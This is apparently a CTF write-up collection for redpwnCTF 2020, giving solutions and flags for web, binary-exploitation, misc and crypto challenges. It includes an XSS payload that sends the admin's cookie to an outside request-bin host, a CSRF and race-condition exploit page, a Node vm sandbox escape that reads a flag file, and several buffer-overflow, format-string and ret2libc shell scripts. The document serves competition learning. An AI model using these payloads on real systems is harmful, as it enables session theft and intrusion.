pastebin
I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it here
Site: https://static-pastebin.2020.redpwnc.tf
For this challenge I use a very nice tool to solve it, the flag is the admin's cookie
flag :flag{54n1t1z4t10n_k1nd4_h4rd}
panda-facts
I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!
Site: panda-facts.2020.redpwnc.tf
The concept is pretty much the same with any injection vulnerabilities, we can insertname", "member" : 1, "x" : "somethingtomatchthequotationmarks
as our username, and it will inject a value of member and set it to 1, then x just to match the quotation marks.
flag : flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
static-static-hosting
This is another xss challenge with a better filter so we have to craft a better payload basically
I struggle really hard on this one because the filter are just really strong, and i come up with a working iframe
payload
But it didn't work, and when i asked the organizer it turns out that the admin site are using chrome to run the payload
And with the fact that using iframe
will create another child element thus creating a situation where we can't take the admin's cookie because of chrome (insert chrome jokes here)
so I came up with another solution
<FRAMESET>
<FRAME SRC="javascript:javascript:alert(document.cookie);">
</FRAMESET>
It turns out that we can use frame and run js inside of the src
<FRAMESET>
<FRAME SRC="javascript:javascript:(function() {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open('POST', 'https://en8nxg3ahdy8p.x.pipedream.net', false );
xmlHttp.send(btoa(document.cookie));
return xmlHttp.responseText;
})();">
</FRAMESET>
So by creating payload like that, it will grab admin's cookie when the admin visit the site and send the cookie to our site in request bin and in this case the flag
flag = flag{wh0_n33d5_d0mpur1fy}
anti-textbook
This is the most interesting challenge from all web challenge i've come up so far in so many ctf's
We are only given this n
and e
e: 65537
n: 23476345782117384360316464293694572348021858182972446102249052345232474617239084674995381439171455360619476964156250057548035539297034987528920054538760455425802275559282848838042795385223623239088627583122814519864252794995648742053597744613214146425693685364507684602090559028534555976544379804753832469034312177224373112610128420211922617372377101405991494199975508780694545263130816110474679504768973743009441005450839746644168233367636158687594826435608022717302508912914016439961300625816187681031915377565087756094989820015507950937541001438985964760705493680314579323085217869884649720526665543105616470022561
And i that it must be something related to an RSA crypto,
looking at the hint :
It's important for public keys to be transparent.
Hint: certificate-transparency.org
So thanks to @Wrth guess, we might be able to create a certificate from those 2 numbers
And i come up with this script to convert e
and n
to a .pem
certificate
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
exponent = 65537
modulus = 23476345782117384360316464293694572348021858182972446102249052345232474617239084674995381439171455360619476964156250057548035539297034987528920054538760455425802275559282848838042795385223623239088627583122814519864252794995648742053597744613214146425693685364507684602090559028534555976544379804753832469034312177224373112610128420211922617372377101405991494199975508780694545263130816110474679504768973743009441005450839746644168233367636158687594826435608022717302508912914016439961300625816187681031915377565087756094989820015507950937541001438985964760705493680314579323085217869884649720526665543105616470022561
numbers = RSAPublicNumbers(exponent, modulus)
public_key = numbers.public_key(backend=default_backend())
pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(pem)
And we got a .pem
certificate :
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuffuWhYrpTW8cdcAWUwe
T8oZYCp/8pKPYj4eZ3pd7mhYoCkSSeqZ5e+L33O38SoMANogM1NBayYlumOcPxC/
C9PHMF6AlaLDH+yX/Fg+a055m0O7+5pJNUVuRn9z7aYhhubnRyjk2cVTHLmOHqK9
FPM1QBBdouddMgZYE6plaBdBIMwQ8txuZQs6t862zJfA0/cgT47TtiTNkouHkAuT
VXBPcbM5pXIu7MoflJrUjQ0ljuOIFgXQ7wCFusXrIpvuVpqLzRvTD69GA7Cj0Dt9
ij7KPrBFM2jFyR8vnm5w+T6sGafXgJEEj0sLmbIReWcNeyHC2Tl9OniyMEqPeLsZ
oQIDAQAB
-----END PUBLIC KEY-----
We can convert this certificate to sha256 hash and then search for related sha256 certificate in https://censys.io/
I use this openssl script to convert .pem
to sha256 hash
openssl rsa -in pubkey.pem -pubin -outform der | openssl dgst -sha256
find the related site with that sha256 certificate this way
https://censys.io/certificates?q=9db105389dd81cfb4b59ff1a4c0670c630b1800e542323111d5c5cb9af72031f
And we got a website that has the flag inside
flag = flag{c3rTific4t3_7r4n5pArAncY_fTw}
cookie-recipes-v2
I'm really proud that i can complete this challenge because its 'kinda' something new to me
So we are given a site with a persistent cookie (that also works as csrf) and the important thing is that every process will just rely on that static csrf cookie so it must be a csrf attack, but by reviewing the code
I see some interesting things happens when we want the admin to give a gift
to our account, there is this TOC-TOU vulnerability leading us to racing condition attack
So in summary its a combination between csrf and race condition attack
The plan here are
1. Create a malicious site with very-finely(i tried hard so much on this) crafted exploit inside
2. Create a link to the site using awesome php+ngrok combo
3. Let the admin visit the site and do that csrf+race_condition attack for us
Here's my exploit code
<html>
<body>
<!-- admin pass = n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn -->
<!-- remote url = https://cookie-recipes-v2.2020.redpwnc.tf -->
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<form enctype="text/plain" action="https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=152722133074553091" method="POST">
<input id="json" type="hidden" name='{"password":"n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn","x":"' value='x"}' />
</form>
<div class='iframe_container'>
<iframe name='formresponse1' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse2' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse3' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse4' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse5' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse6' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse7' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse8' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse9' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse10' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse11' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse12' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse13' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse14' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse15' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse16' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse17' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse18' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse19' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse20' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse21' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse22' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse23' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse24' width='350px' height='100px' frameborder='0'></iframe>
</div>
<div class='iframe_container'>
<iframe name='formresponse25' width='350px' height='100px' frameborder='0'></iframe>
</div>
<script>
for (let index = 0; index < 12; index++) {
document.forms[index].target = ('formresponse' + (index+1))
}
for (let index = 0; index < 12; index++) {
document.forms[index].submit();
}
</script>
</body>
</html>
I know its a bad code, but who cares about "good" code when creating exploit :v
anyway here's the flag
flag = flag{n0_m0r3_gu3551ng}
For a record, after looking at other people's writeup I just surprised that I can use XMLHttpRequest instead of doing this stupid iframe things :(
uglybash
This bash script evaluates to echo dont just run it, dummy # flag{...} where the flag is in the comments.
The comment won't be visible if you just execute the script. How can you mess with bash to get the value right before it executes?
Enjoy the intro misc chal.
My way on solving this challenge is by changing the eval
command (was e$'\u0076'al
) into printf '%s\n
, then run it, and from the output, change the /bin/bash
command (was $BASH ${*%%Y#0C} ${*,,} <<<
) into printf '%s\n'
and run it.
flag : flag{us3_zsh,_dummy}
CaaSiNO
This is a vm jail challenge written in javascript
It utilizing this vm thing in javascript to create a child process and run every input in a new context so that we could'nt touch the parent context and read the flag
However there's a flaw in vm javascript that we can use to abuse the system and touch the parent context to be able to read the flag (more on this here)
and then i use this script to read the flag
this
.constructor
.constructor('return this.process')()
.mainModule
.require('child_process')
.execSync('cat /ctf/flag.txt')
.toString()
flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}
ropes
It's not just a string, it's a rope!
You can solve this by using command strings ./ropes
flag : flag{r0pes_ar3_just_l0ng_str1ngs}
bubbly
It never ends
nc 2020.redpwnc.tf 31039
After looking at a dissasembler, this program basically make a manual bubble sort, our inputi
is an integer that will be used as index to swap 2 integer on thenums
array.
Instead of searching for bubble sort code online and modify it so we can see the index swapped, I ended up doing the whole thing by hand, here's what I came up:
$ nc 2020.redpwnc.tf 31039
I hate my data structures class! Why can't I just sort by hand?
2
1
2
3
4
5
6
7
8
4
5
6
7
4
5
6
4
5
3
9
Well done!
flag : flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}
coffer-overflow-0
Can you fill up the coffers? We even managed to find the source for you.
nc 2020.redpwnc.tf 31199
just send a string with very long character and it will overflow the value of variable code.
flag : flag{b0ffer_0verf10w_3asy_as_123}
coffer-overflow-1
The coffers keep getting stronger! You'll need to use the source, Luke.
nc 2020.redpwnc.tf 31255
this time we need to actually control a value, this can be done by filling the buffer until 8 bytes before rbp and fill the 8 bytes with value 0xcafebabe
import pwn
r = pwn.remote("2020.redpwnc.tf", 31255)
# r = pwn.process("coffer-overflow-1")
payload = "A"*24 + pwn.p64(0xcafebabe)
r.sendline(payload)
r.interactive()
flag : flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}
coffer-overflow-2
You'll have to jump to a function now!?
nc 2020.redpwnc.tf 31908
this time we need to jump into binFunction
function, this can be done by filling the buffer until it hit rbp and overflow the buffer with binFunction
address
import pwn
pad = "A" * 16
win = pwn.p64(0x00000000004006e6)
ret = pwn.p64(0x000000000040053e)
payload = pad+ret+win
r = pwn.remote("2020.redpwnc.tf", 31908)
r.sendline(payload)
r.interactive()
flag : flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}
secret-flag
There's a super secret flag in printf that allows you to LEAK the data at an address??
nc 2020.redpwnc.tf 31826
if you look at the program on your dissasembler, you can see that our input become an argument on the printf function, however the program didn't call the printf properly, so we can input the string format%s
and it will print a string somewhere from the stack, to control it simply do%n$s
and it will print a random nth string somewhere from the stack.
import pwn
response = ""
i = 1
while 'flag' not in response:
# print(i)
print("%"+str(i)+"$s")
try:
r = pwn.remote("2020.redpwnc.tf", 31826)
r.sendlineafter("adventurer?\n","%"+str(i)+"$s")
response = r.recv().decode()
print(response)
i += 1
r.close()
except:
pass
print(response)
flag : flag{n0t_s0_s3cr3t_f1ag_n0w}
the-library
There's not a lot of useful functions in the binary itself. I wonder where you can get some...
nc 2020.redpwnc.tf 31350
This is a ret2libc challenge, I got the code and explanation here
So basically we want to pop the value /bin/sh into RDI, the call system, system will read what to execute from RDI, thus executes /bin/sh
from pwn import *
p = remote("2020.redpwnc.tf", 31350)
elf = ELF("./the-library")
libc = ELF("libc.so.6")
payload = ROP(elf)
pop_rdi = (payload.find_gadget(['pop rdi', 'ret']))[0]
libc_start_main = elf.symbols['__libc_start_main']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
ret = (payload.find_gadget(['ret']))[0]
pad = "A"*16 + "B"*8
payload = pad + p64(pop_rdi) + p64(libc_start_main) + p64(puts_plt) + p64(main)
p.sendlineafter("?\n", payload)
p.recvline()
p.recvline()
leak = p.recvline().strip()
leak = u64(leak.ljust(8, "\x00"))
libc.address = leak - libc.sym["__libc_start_main"]
bin_sh = next(libc.search("/bin/sh"))
system = libc.sym["system"]
payload = pad + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendlineafter("?\n", payload)
p.interactive()
flag : flag{jump_1nt0_th3_l1brary}
base646464
Encoding something multiple times makes it exponentially more secure!
just decode the ciphertext 25 times.
from base64 import b64decode
with open("cipher.txt",'r') as f:
c = f.read()
for i in range(25):
c = b64decode(c)
print (c.decode())
flag : flag{l00ks_l1ke_a_l0t_of_64s}
pseudo-key
Keys are not always as they seem...
Note: Make sure to wrap the plaintext with flag{} before you submit!
The first thing we need to do is to find the key, however each key map to 2 possibilites, for example, if the encrypted key is a
then the possibilities will be either a
or n
because 0 + 0 % 26 = 0
and 13 + 13 %26 = 0
. So we have to find those 2 possibilities, and then try all possible combinations from those 2 possibilities.
I just bruteforce everything with my ugly script
from string import ascii_lowercase
chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}
cipher = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"
enc_key = "iigesssaemk"
key = ""
flag = ""
# candidates = []
# for i in enc_key:
# for j in ascii_lowercase:
# if num_to_chr[(chr_to_num[j]*2)%26] == i:
# candidates.append(j)
# # key += j
# print (candidates)
# candidates = []
for i in['e', 'r']:
for j in['e', 'r']:
for k in['d', 'q']:
for l in['c', 'p']:
for m in['j', 'w']:
for n in['j', 'w']:
for o in['j', 'w']:
for p in['a', 'n']:
for q in['c', 'p']:
for r in['g', 't']:
for s in['f', 's']:
key = i+j+k+l+m+n+o+p+q+r+s
key = key*((len(cipher)//len(key))+1)
for c in range(len(cipher)):
if cipher[c] == '_':
flag += '_'
continue
for randkey in ascii_lowercase:
if num_to_chr[(chr_to_num[randkey]+chr_to_num[key[c]])%26] == cipher[c]:
flag += randkey
break
print('flag{'+flag+'}')
flag = ""
But it works!
flag = flag{i_guess_pseudo_keys_are_pseudo_secure}
4k-rsa
Only n00bz use 2048-bit RSA. True gamers use keys that are at least 4k bits long, no matter how many primes it takes.
using factordb we can see that there are many prime factors of n, the way we can decrypt the ciphertext is pretty much the same with normal RSA, just multiply each factor-1 to calculate phi.
from Crypto.Util.number import long_to_bytes as ltb
n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e= 65537
c= 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171
primes = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977]
phi = 1
for i in primes:
phi *= i-1
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
d = modinv(e,phi)
print (ltb(pow(c,d,n)).decode())
flag : flag{t0000_m4nyyyy_pr1m355555}
primimity
People claim that RSA with two 1024-bit primes is secure. But I trust no one. That's why I use three 1024-bit primes.
I even created my own prime generator to be extra cautious!
if we look at the source code, we can see that each prime is only differ by a few primes away, the way we can factor it is by taking the cube root of n, then keep calling nextprime() until it become one of the factor of n. you can see the code that I wrote to bruteforce that in the commented code below :
from sympy import nextprime
from gmpy2 import root
from Crypto.Util.number import long_to_bytes as ltb
n= 2739699434633097765008468371124644741923408864896396205946954196101304653772173210372608955799251139999322976228678445908704975780068946332615022064030241384638601426716056067126300711933438732265846838735860353259574129074615298010047322960704972157930663061480726566962254887144927753449042590678730779046154516549667611603792754880414526688217305247008627664864637891883902537649625488225238118503996674292057904635593729208703096877231276911845233833770015093213639131244386867600956112884383105437861665666273910566732634878464610789895607273567372933766243229798663389032807187003756226177111720510187664096691560511459141773632683383938152396711991246874813205614169161561906148974478519987935950318569760474249427787310865749167740917232799538099494710964837536211535351200520324575676987080484141561336505103872809932354748531675934527453231255132361489570816639925234935907741385330442961877410196615649696508210921
q = 139926822890670655977195962770726941986198973494425759476822219188316377933161673759394901805855617939978281385708941597117531007973713846772205166659227214187622925135931456526921198848312215276630974951050306344412865900075089120689559331322162952820292429725303619113876104177529039691490258588465409494847
r = 139926822890670655977195962770726941986198973494425759476822219188316377933161673759394901805855617939978281385708941597117531007973713846772205166659227214187622925135931456526921198848312215276630974951050306344412865900075089120689559331322162952820292429725303619113876104177529039691490258588465409397803
p = (n/q)/r
assert p*q*r == n
e = 65537
c = 2082926013138674164997791605512226759362824531322433048281306983526001801581956788909408046338065370689701410862433705395338736589120086871506362760060657440410056869674907314204346790554619655855805666327905912762300412323371126871463045993946331927129882715778396764969311565407104426500284824495461252591576672989633930916837016411523983491364869137945678029616541477271287052575817523864089061675401543733151180624855361245733039022140321494471318934716652758163593956711915212195328671373739342124211743835858897895276513396783328942978903764790088495033176253777832808572717335076829539988337505582696026111326821783912902713222712310343791755341823415393931813610365987465739339849380173805882522026704474308541271732478035913770922189429089852921985416202844838873352090355685075965831663443962706473737852392107876993485163981653038588544562512597409585410384189546449890975409183661424334789750460016306977673969147
# p = root(n,3)
# tries = 0
# while n%p != 0:
# tries += 1
# print tries
# p = nextprime(p)
# print "------------------------------------------------------------------------------------------------------------"
# print p
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
phi = (p-1)*(q-1)*(r-1)
d = modinv(e,phi)
print ltb(pow(c,d,n))
flag : flag{pr1m3_pr0x1m1ty_c4n_b3_v3ry_d4ng3r0u5}
itsy-bitsy
The itsy-bitsy spider climbed up the water spout...
nc 2020.redpwnc.tf 31284
If you look at the source code, any number between lower bound and upperbound have the same first bit, which is 1, so for example if i = 1
and j = 2
, then the range are 0b10
to 0b11
, so no matter what for first bit and each two index after, the flag bit will be xored by 1, and so for every prime number we can leak every single byte, and the only bit that can't be leaked is the flag_bit[1]. but it's just 2 possibilities, so we can just try both. You can see the script I used to leak all the bytes in the commented code below :
from sympy import nextprime
import pwn
#len(flag_bits) == 301
# prime = nextprime(0)
# arr = ['?' for _ in range(301)]
# while prime < 301:
# try:
# print (prime)
# r = pwn.remote("2020.redpwnc.tf",31284)
# r.sendlineafter("i > 0: ",str(prime-1))
# r.sendlineafter("i > 0: ",str(prime))
# c = r.recv()[len("Ciphertext: "):]
# for i in range(0,len(arr),prime):
# arr[i] = str(int(c[i])^1)
# print (''.join(arr))
# prime = nextprime(prime)
# r.close()
# except:
# continue
# final output : '1?00110110110011000011100111111101111000101101001111010011100111011111110110011001011100001110101111010011101110110011110111111101111111010111101001011111110010011011111110111110111010111111110100110100011001011011111111011111000011110100110010111100101011111111001111100001101111111010111101001111101'
arr1 = '1000110110110011000011100111111101111000101101001111010011100111011111110110011001011100001110101111010011101110110011110111111101111111010111101001011111110010011011111110111110111010111111110100110100011001011011111111011111000011110100110010111100101011111111001111100001101111111010111101001111101'
arr2 = '1100110110110011000011100111111101111000101101001111010011100111011111110110011001011100001110101111010011101110110011110111111101111111010111101001011111110010011011111110111110111010111111110100110100011001011011111111011111000011110100110010111100101011111111001111100001101111111010111101001111101'
flag = ""
arr1 = [arr1[i:i+7] for i in range(0,len(arr1),7)]
arr2 = [arr2[i:i+7] for i in range(0,len(arr2),7)]
for i in arr1:
flag += chr(int(i,2))
print (flag)
flag = ""
for i in arr2:
flag += chr(int(i,2))
print (flag)
flag : flag{bits_leaking_out_down_the_water_spout}
alien-transmissions-v2
The aliens are at it again! We've discovered that their communications are in base 512 and have transcribed them in base 10. However, it seems like they used XOR encryption twice with two different keys! We do have some information:
This alien language consists of words delimitated by the character represented as 481
The two keys appear to be of length 21 and 19
The value of each character in these keys does not exceed 255
Find these two keys for me; concatenate their ASCII encodings and wrap it in the flag format.
This challenge is very fun, at its finest it is just combination of pseudo-key and itsy-bitsy, basically, every 399th character will be xored by the same key (21*19), the first information basically says the space character is 481, and space character is the most common character in a text. So, we for example, if we want to find 481^key1[0]^key2[0]
, we can check every 399th characters, and look at the most common number , that number xored by 481 is key1^key2
:
import collections
f = open('encrypted.txt').read().split('\n')
i=0
j=0
tries=0
for pos1 in range(0,21):
print ("----------" + str(pos1) + "------------")
for pos2 in range(0,19):
i = 0
j = 0
tries=0
while True:
if i==pos1 and j==pos2:
# print pos2
x = f[tries::399]
print(collections.Counter(x).most_common(1)[0])
# print tries
break
i += 1
i=i%21
j += 1
j=j%19
tries+=1
the output will look something like this :
----------0------------
('470', 250)
('509', 301)
('481', 272)
('442', 279)
('470', 241)
('444', 274)
('442', 234)
('490', 254)
('441', 245)
('487', 265)
('493', 252)
('470', 264)
('440', 244)
('444', 233)
('470', 267)
('509', 279)
('481', 240)
('440', 253)
